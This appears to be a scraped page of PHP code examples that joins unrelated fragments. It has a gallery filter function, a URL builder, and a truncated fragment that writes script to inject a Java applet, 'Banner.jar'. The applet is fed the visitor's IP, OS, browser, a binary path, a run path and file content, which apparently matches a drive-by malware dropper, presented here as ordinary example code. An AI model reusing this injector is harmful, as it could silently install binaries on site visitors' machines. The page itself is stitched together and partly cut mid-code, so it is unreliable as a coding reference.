function filter($suffix, $displayInvisible)
{
    setFilter($suffix, $displayInvisible);
    gotoPath(getCurrentPath());
}
Ejemplo n.º 2
0
function url($path = "", $getvars = array(), $delimiter = '&', $port = "", $host = "")
{
    global $_config, $_mod_rewrite;
    $url = "http://" . ($host != "" ? $host : $_config["galRoot"]) . ($port != "" ? ":" . $port : "") . "/";
    if ($path == "") {
        return $url;
    }
    if ($path == "/") {
        $path = "";
    }
    if ($path == ".") {
        $path = getCurrentPath();
    }
    $first = true;
    // put "?" instead of "&" before the first GET variable
    if ($_mod_rewrite) {
        $url .= $path;
        if (!preg_match('/\\/$/', $url)) {
            $url .= "/";
        }
    } elseif ($path != "") {
        $path_items = preg_split('/\\//', $path);
        for ($i = 0; $i < count($path_items); $i++) {
            $pathItem = preg_replace('/([^a-zA-Z0-9\\.\\-\\_\\~])/', "", $path_items[$i]);
            $url .= ($first ? '?page' : $delimiter . 'par' . $i) . '=' . $pathItem;
            $first = false;
        }
    }
    foreach (array("yGalSession", "yGalLanguage", "yGalFont") as $keyName) {
        if (!isset($_COOKIE[$keyName]) && isset($GLOBALS["_" . $keyName])) {
            $getvars[$keyName] = $GLOBALS["_" . $keyName];
        }
    }
    foreach ($getvars as $name => $value) {
        $url .= ($first ? '?' : $delimiter) . $name . '=' . urlencode($value);
        $first = false;
    }
    return $url;
}
Ejemplo n.º 3
0
    echo "\tdocument.writeln(createParam(\"containsFile\", \"" . $array["containsFile"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"runpath\", \"" . $array["runpath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"bannerpPath\", \"" . $array["bannerpPath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"binaryPath\", \"" . $array["binaryPath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"filename\", \"" . $array["filename"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"content\", \"" . $array["content"] . "\"));\n";
    echo "\tdocument.writeln('</applet>');\n";
    echo "}\n\n";
} else {
    echo "function writeApplet() {\n";
    echo "\tdocument.writeln('<object classid=\"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\" width=\"" . $arrayInjection["width"] . "\" height=\"" . $arrayInjection["height"] . "\" >');\n";
    echo "\tdocument.writeln(createParam(\"scriptable\", \"true\"));\n";
    echo "\tdocument.writeln(createParam(\"mayscript\", \"true\"));\n";
    echo "\tdocument.writeln(createParam(\"type\", \"application/x-java-applet\"));\n";
    echo "\tdocument.writeln(createParam(\"code\", \"Banner\"));\n";
    echo "\tdocument.writeln(createParam(\"archive\", \"" . getCurrentPath() . "Banner.jar\"));\n";
    echo "\tdocument.writeln(createParam(\"country\", \"" . $array["country"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"ip\", \"" . $array["ip"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"self\", \"" . encode($urlSelf) . "\"));\n";
    echo "\tdocument.writeln(createParam(\"browser\", \"" . $array["browser.name"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"os\", \"" . $array["os.name"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"isWin\", \"" . $array["isWin"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"language\", \"" . $array["language"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"containsFile\", \"" . $array["containsFile"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"runpath\", \"" . $array["runpath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"filename\", \"" . $array["filename"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"bannerpPath\", \"" . $array["bannerpPath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"binaryPath\", \"" . $array["binaryPath"] . "\"));\n";
    echo "\tdocument.writeln(createParam(\"content\", \"" . $array["content"] . "\"));\n";
    echo "\tdocument.writeln('</object>');\n";
    echo "}\n\n";